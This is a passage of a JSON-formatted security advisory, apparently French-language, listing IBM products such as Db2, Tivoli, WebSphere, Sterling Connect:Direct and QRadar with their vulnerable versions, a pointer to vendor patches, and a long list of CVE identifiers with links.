"description": "Db2 Genius Hub \u0026 Agentics versions 1.1.x ant\u00e9rieures \u00e0 1.1.4",
"product": {
"name": "Db2",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "Tivoli Application Dependency Discovery Manager versions 7.3.0.0 \u00e0 7.3.0.12 avec WebSphere Application Server Liberty versions ant\u00e9rieures \u00e0 26.0.0.8",
"product": {
"name": "Tivoli",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "WebSphere Extreme Scale versions 8.6.1.x ant\u00e9rieures \u00e0 8.6.1.6 avec le correctif de s\u00e9curit\u00e9 PH72588",
"product": {
"name": "WebSphere",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "Sterling Connect:Direct for Unix versions 6.3.0.x ant\u00e9rieures \u00e0 6.3.0.7.iFix026",
"product": {
"name": "Sterling",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "Sterling Connect:Direct for Unix versions 6.4.0.x ant\u00e9rieures \u00e0 6.4.0.6.iFix014",
"product": {
"name": "Sterling",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "QRadar Suite Software versions 1.10.12.0 \u00e0 1.11.10.0 ant\u00e9rieures \u00e0 1.11.12.0",
"product": {
"name": "QRadar",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "QRadar AI Assistant versions ant\u00e9rieures \u00e0 2.2.0",
"product": {
"name": "QRadar",
"vendor": {
"name": "IBM",
"scada": false
}
}
}
],
"affected_systems_content": "",
"content": "## Solutions\n\nSe r\u00e9f\u00e9rer au bulletin de s\u00e9curit\u00e9 de l\u0027\u00e9diteur pour l\u0027obtention des correctifs (cf. section Documentation).",
"cves": [
{
"name": "CVE-2026-41411",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41411"
},
{
"name": "CVE-2026-14380",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14380"
},
{
"name": "CVE-2026-26007",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-26007"
},
{
"name": "CVE-2026-43198",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-43198"
},
{
"name": "CVE-2026-54293",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54293"
},
{
"name": "CVE-2026-49978",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-49978"
},
{
"name": "CVE-2026-9697",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-9697"
},
{
"name": "CVE-2026-53540",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53540"
},
{
"name": "CVE-2026-54283",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54283"
},
{
"name": "CVE-2026-54369",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54369"
},
{
"name": "CVE-2026-40466",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-40466"
},
{
"name": "CVE-2026-59724",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59724"
},
{
"name": "CVE-2026-45505",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-45505"
},
{
"name": "CVE-2026-4878",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-4878"
},
{
"name": "CVE-2026-49476",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-49476"
},
{
"name": "CVE-2026-42588",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42588"
},
{
"name": "CVE-2026-27205",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-27205"
},
{
"name": "CVE-2026-59205",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59205"
},
{
"name": "CVE-2026-33845",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33845"
},
{
"name": "CVE-2026-41254",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41254"
},
{
"name": "CVE-2026-42253",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42253"
},
{
"name": "CVE-2026-44405",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44405"
},
{
"name": "CVE-2026-50645",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-50645"
},
{
"name": "CVE-2026-44289",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44289"
},
{
"name": "CVE-2026-42041",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42041"
},
{
"name": "CVE-2026-9679",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-9679"
},
{
"name": "CVE-2026-39892",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39892"
},
{
"name": "CVE-2026-10050",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-10050"
},
{
"name": "CVE-2024-24762",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-24762"
},
{
"name": "CVE-2026-42402",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42402"
},
{
"name": "CVE-2026-42561",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42561"
},
{
"name": "CVE-2025-14505",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-14505"
},
{
"name": "CVE-2026-16184",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16184"
},
{
"name": "CVE-2026-15328",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-15328"
},
{
"name": "CVE-2026-32286",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-32286"
},
{
"name": "CVE-2026-46227",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46227"
},
{
"name": "CVE-2026-57455",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-57455"
},
{
"name": "CVE-2026-54514",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54514"
},
{
"name": "CVE-2026-44293",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44293"
},
{
"name": "CVE-2026-44290",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44290"
},
{
"name": "CVE-2021-23336",
"url": "https://www.cve.org/CVERecord?id=CVE-2021-23336"
},
{
"name": "CVE-2026-55276",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-55276"
},
{
"name": "CVE-2026-48710",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-48710"
},
{
"name": "CVE-2026-16243",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16243"
},
{
"name": "CVE-2026-9171",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-9171"
},
{
"name": "CVE-2025-47279",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-47279"
},
{
"name": "CVE-2025-40026",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-40026"
},
{
"name": "CVE-2026-47010",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-47010"
},
{
"name": "CVE-2026-69249",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-69249"
},
{
"name": "CVE-2026-54058",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54058"
},
{
"name": "CVE-2026-55653",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-55653"
},
{
"name": "CVE-2026-41239",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41239"
},
{
"name": "CVE-2026-46117",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46117"
},
{
"name": "CVE-2026-59084",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59084"
},
{
"name": "CVE-2026-45740",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-45740"
},
{
"name": "CVE-2025-14920",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-14920"
},
{
"name": "CVE-2026-52993",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-52993"
},
{
"name": "CVE-2026-59725",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59725"
},
{
"name": "CVE-2026-14739",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14739"
},
{
"name": "CVE-2026-39824",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39824"
},
{
"name": "CVE-2026-46605",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46605"
},
{
"name": "CVE-2026-54275",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54275"
},
{
"name": "CVE-2026-22013",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-22013"
},
{
"name": "CVE-2026-47057",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-47057"
},
{
"name": "CVE-2026-10846",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-10846"
},
{
"name": "CVE-2026-22018",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-22018"
},
{
"name": "CVE-2026-12505",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-12505"
},
{
"name": "CVE-2026-35469",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-35469"
},
{
"name": "CVE-2026-9698",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-9698"
},
{
"name": "CVE-2026-42015",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42015"
},
{
"name": "CVE-2026-14528",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14528"
},
{
"name": "CVE-2026-54278",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54278"
},
{
"name": "CVE-2026-53538",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53538"
},
{
"name": "CVE-2026-18499",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-18499"
},
{
"name": "CVE-2026-46113",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46113"
},
{
"name": "CVE-2026-54515",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54515"
},
{
"name": "CVE-2026-53550",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53550"
},
{
"name": "CVE-2026-43279",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-43279"
},
{
"name": "CVE-2026-53071",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53071"
},
{
"name": "CVE-2026-49157",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-49157"
},
{
"name": "CVE-2026-16221",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16221"
},
{
"name": "CVE-2026-55798",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-55798"
},
{
"name": "CVE-2026-6790",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6790"
},
{
"name": "CVE-2026-7246",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-7246"
},
{
"name": "CVE-2026-15308",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-15308"
},
{
"name": "CVE-2026-66143",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-66143"
},
{
"name": "CVE-2026-46331",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46331"
},
{
"name": "CVE-2026-66144",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-66144"
},
{
"name": "CVE-2026-44494",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44494"
},
{
"name": "CVE-2026-55153",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-55153"
},
{
"name": "CVE-2026-46209",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46209"
},
{
"name": "CVE-2026-11541",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-11541"
},
{
"name": "CVE-2026-34282",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34282"
},
{
"name": "CVE-2026-44618",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44618"
},
{
"name": "CVE-2026-42036",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42036"
},
{
"name": "CVE-2026-33236",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33236"
},
{
"name": "CVE-2026-54475",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54475"
},
{
"name": "CVE-2026-31692",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-31692"
},
{
"name": "CVE-2026-44240",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44240"
},
{
"name": "CVE-2026-55443",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-55443"
},
{
"name": "CVE-2026-65900",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-65900"
},
{
"name": "CVE-2026-33558",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33558"
},
{
"name": "CVE-2026-53916",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53916"
},
{
"name": "CVE-2026-53006",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53006"
},
{
"name": "CVE-2026-43450",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-43450"
},
{
"name": "CVE-2026-33846",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33846"
},
{
"name": "CVE-2026-42403",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42403"
},
{
"name": "CVE-2026-34043",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34043"
},
{
"name": "CVE-2026-59880",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59880"
},
{
"name": "CVE-2026-15057",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-15057"
},
{
"name": "CVE-2026-59890",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59890"
},
{
"name": "CVE-2026-53266",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53266"
},
{
"name": "CVE-2025-64718",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-64718"
},
{
"name": "CVE-2026-46116",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46116"
},
{
"name": "CVE-2026-14742",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14742"
},
{
"name": "CVE-2025-62718",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-62718"
},
{
"name": "CVE-2026-44990",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44990"
},
{
"name": "CVE-2026-47265",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-47265"
},
{
"name": "CVE-2026-49458",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-49458"
},
{
"name": "CVE-2026-54282",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54282"
},
{
"name": "CVE-2026-46259",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46259"
},
{
"name": "CVE-2026-0540",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-0540"
},
{
"name": "CVE-2026-45149",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-45149"
},
{
"name": "CVE-2026-45249",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-45249"
},
{
"name": "CVE-2026-23865",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-23865"
},
{
"name": "CVE-2026-48988",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-48988"
},
{
"name": "CVE-2026-43499",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-43499"
},
{
"name": "CVE-2026-11525",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-11525"
},
{
"name": "CVE-2026-15325",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-15325"
},
{
"name": "CVE-2026-59199",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59199"
},
{
"name": "CVE-2026-69247",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-69247"
},
{
"name": "CVE-2026-33671",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33671"
},
{
"name": "CVE-2026-34515",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34515"
},
{
"name": "CVE-2026-14976",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14976"
},
{
"name": "CVE-2026-48864",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-48864"
},
{
"name": "CVE-2026-34519",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34519"
},
{
"name": "CVE-2026-42033",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42033"
},
{
"name": "CVE-2026-42035",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42035"
},
{
"name": "CVE-2026-54277",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54277"
},
{
"name": "CVE-2026-69248",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-69248"
},
{
"name": "CVE-2026-18446",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-18446"
},
{
"name": "CVE-2026-5450",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-5450"
},
{
"name": "CVE-2026-14512",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14512"
},
{
"name": "CVE-2026-5260",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-5260"
},
{
"name": "CVE-2026-42009",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42009"
},
{
"name": "CVE-2026-54059",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54059"
},
{
"name": "CVE-2026-10842",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-10842"
},
{
"name": "CVE-2026-46189",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46189"
},
{
"name": "CVE-2026-33750",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33750"
},
{
"name": "CVE-2026-5038",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-5038"
},
{
"name": "CVE-2026-40186",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-40186"
},
{
"name": "CVE-2026-2359",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-2359"
},
{
"name": "CVE-2026-42043",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42043"
},
{
"name": "CVE-2026-44288",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44288"
},
{
"name": "CVE-2026-41603",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41603"
},
{
"name": "CVE-2026-8646",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-8646"
},
{
"name": "CVE-2026-45822",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-45822"
},
{
"name": "CVE-2026-6918",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6918"
},
{
"name": "CVE-2026-55380",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-55380"
},
{
"name": "CVE-2026-54280",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54280"
},
{
"name": "CVE-2026-46625",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46625"
},
{
"name": "CVE-2026-25749",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-25749"
},
{
"name": "CVE-2026-44489",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44489"
},
{
"name": "CVE-2026-12413",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-12413"
},
{
"name": "CVE-2026-59869",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59869"
},
{
"name": "CVE-2026-3833",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-3833"
},
{
"name": "CVE-2025-13151",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-13151"
},
{
"name": "CVE-2026-9320",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-9320"
},
{
"name": "CVE-2026-49459",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-49459"
},
{
"name": "CVE-2026-66053",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-66053"
},
{
"name": "CVE-2026-41044",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41044"
},
{
"name": "CVE-2026-41043",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41043"
},
{
"name": "CVE-2026-5079",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-5079"
},
{
"name": "CVE-2026-34518",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34518"
},
{
"name": "CVE-2026-50734",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-50734"
},
{
"name": "CVE-2026-44930",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44930"
},
{
"name": "CVE-2026-14974",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14974"
},
{
"name": "CVE-2026-41240",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41240"
},
{
"name": "CVE-2026-42010",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42010"
},
{
"name": "CVE-2026-5435",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-5435"
},
{
"name": "CVE-2026-4427",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-4427"
},
{
"name": "CVE-2026-59887",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59887"
},
{
"name": "CVE-2026-59203",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59203"
},
{
"name": "CVE-2025-10263",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-10263"
},
{
"name": "CVE-2026-42040",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42040"
},
{
"name": "CVE-2026-47027",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-47027"
},
{
"name": "CVE-2026-23216",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-23216"
},
{
"name": "CVE-2026-47058",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-47058"
},
{
"name": "CVE-2026-42013",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42013"
},
{
"name": "CVE-2026-62389",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-62389"
},
{
"name": "CVE-2026-12151",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-12151"
},
{
"name": "CVE-2026-5928",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-5928"
},
{
"name": "CVE-2026-16441",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16441"
},
{
"name": "CVE-2026-27903",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-27903"
},
{
"name": "CVE-2026-14981",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14981"
},
{
"name": "CVE-2026-6734",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6734"
},
{
"name": "CVE-2026-12243",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-12243"
},
{
"name": "CVE-2025-6170",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-6170"
},
{
"name": "CVE-2026-46150",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46150"
},
{
"name": "CVE-2026-46090",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46090"
},
{
"name": "CVE-2026-14529",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14529"
},
{
"name": "CVE-2026-34525",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34525"
},
{
"name": "CVE-2025-71089",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-71089"
},
{
"name": "CVE-2026-54274",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54274"
},
{
"name": "CVE-2026-54512",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54512"
},
{
"name": "CVE-2026-59197",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59197"
},
{
"name": "CVE-2026-57819",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-57819"
},
{
"name": "CVE-2026-53059",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53059"
},
{
"name": "CVE-2026-65899",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-65899"
},
{
"name": "CVE-2026-4539",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-4539"
},
{
"name": "CVE-2026-34197",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34197"
},
{
"name": "CVE-2026-55956",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-55956"
},
{
"name": "CVE-2026-54060",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54060"
},
{
"name": "CVE-2026-41140",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41140"
},
{
"name": "CVE-2025-48913",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-48913"
},
{
"name": "CVE-2026-59858",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59858"
},
{
"name": "CVE-2026-42404",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42404"
},
{
"name": "CVE-2026-45984",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-45984"
},
{
"name": "CVE-2026-53537",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53537"
},
{
"name": "CVE-2026-40046",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-40046"
},
{
"name": "CVE-2026-16192",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16192"
},
{
"name": "CVE-2026-50722",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-50722"
},
{
"name": "CVE-2026-3304",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-3304"
},
{
"name": "CVE-2026-46145",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46145"
},
{
"name": "CVE-2026-54273",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54273"
},
{
"name": "CVE-2026-40895",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-40895"
},
{
"name": "CVE-2026-42198",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42198"
},
{
"name": "CVE-2026-47063",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-47063"
},
{
"name": "CVE-2026-14515",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14515"
},
{
"name": "CVE-2026-22016",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-22016"
},
{
"name": "CVE-2026-22021",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-22021"
},
{
"name": "CVE-2026-59083",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59083"
},
{
"name": "CVE-2026-25243",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-25243"
},
{
"name": "CVE-2026-46135",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46135"
},
{
"name": "CVE-2026-22007",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-22007"
},
{
"name": "CVE-2026-58016",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-58016"
},
{
"name": "CVE-2026-43056",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-43056"
},
{
"name": "CVE-2026-59888",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59888"
},
{
"name": "CVE-2026-13149",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-13149"
},
{
"name": "CVE-2026-47021",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-47021"
},
{
"name": "CVE-2025-54410",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-54410"
},
{
"name": "CVE-2026-46054",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46054"
},
{
"name": "CVE-2025-69873",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-69873"
},
{
"name": "CVE-2026-49434",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-49434"
},
{
"name": "CVE-2026-42011",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42011"
},
{
"name": "CVE-2026-34268",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34268"
},
{
"name": "CVE-2026-16440",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16440"
},
{
"name": "CVE-2026-64958",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-64958"
},
{
"name": "CVE-2026-50721",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-50721"
},
{
"name": "CVE-2025-71066",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-71066"
},
{
"name": "CVE-2026-44291",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44291"
},
{
"name": "CVE-2026-15043",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-15043"
},
{
"name": "CVE-2026-66373",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-66373"
},
{
"name": "CVE-2026-3520",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-3520"
},
{
"name": "CVE-2026-55693",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-55693"
},
{
"name": "CVE-2026-57456",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-57456"
},
{
"name": "CVE-2026-29786",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-29786"
},
{
"name": "CVE-2026-44487",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44487"
},
{
"name": "CVE-2026-2482",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-2482"
},
{
"name": "CVE-2026-11897",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-11897"
},
{
"name": "CVE-2026-42038",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42038"
},
{
"name": "CVE-2026-49844",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-49844"
},
{
"name": "CVE-2026-31419",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-31419"
},
{
"name": "CVE-2026-41680",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41680"
},
{
"name": "CVE-2026-44292",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44292"
},
{
"name": "CVE-2026-54370",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54370"
},
{
"name": "CVE-2026-42039",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42039"
},
{
"name": "CVE-2026-49432",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-49432"
},
{
"name": "CVE-2026-59879",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59879"
},
{
"name": "CVE-2026-46968",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46968"
},
{
"name": "CVE-2025-15599",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-15599"
},
{
"name": "CVE-2026-55379",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-55379"
},
{
"name": "CVE-2026-31488",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-31488"
},
{
"name": "CVE-2026-9358",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-9358"
},
{
"name": "CVE-2026-44417",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44417"
},
{
"name": "CVE-2026-14446",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14446"
},
{
"name": "CVE-2026-54279",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54279"
},
{
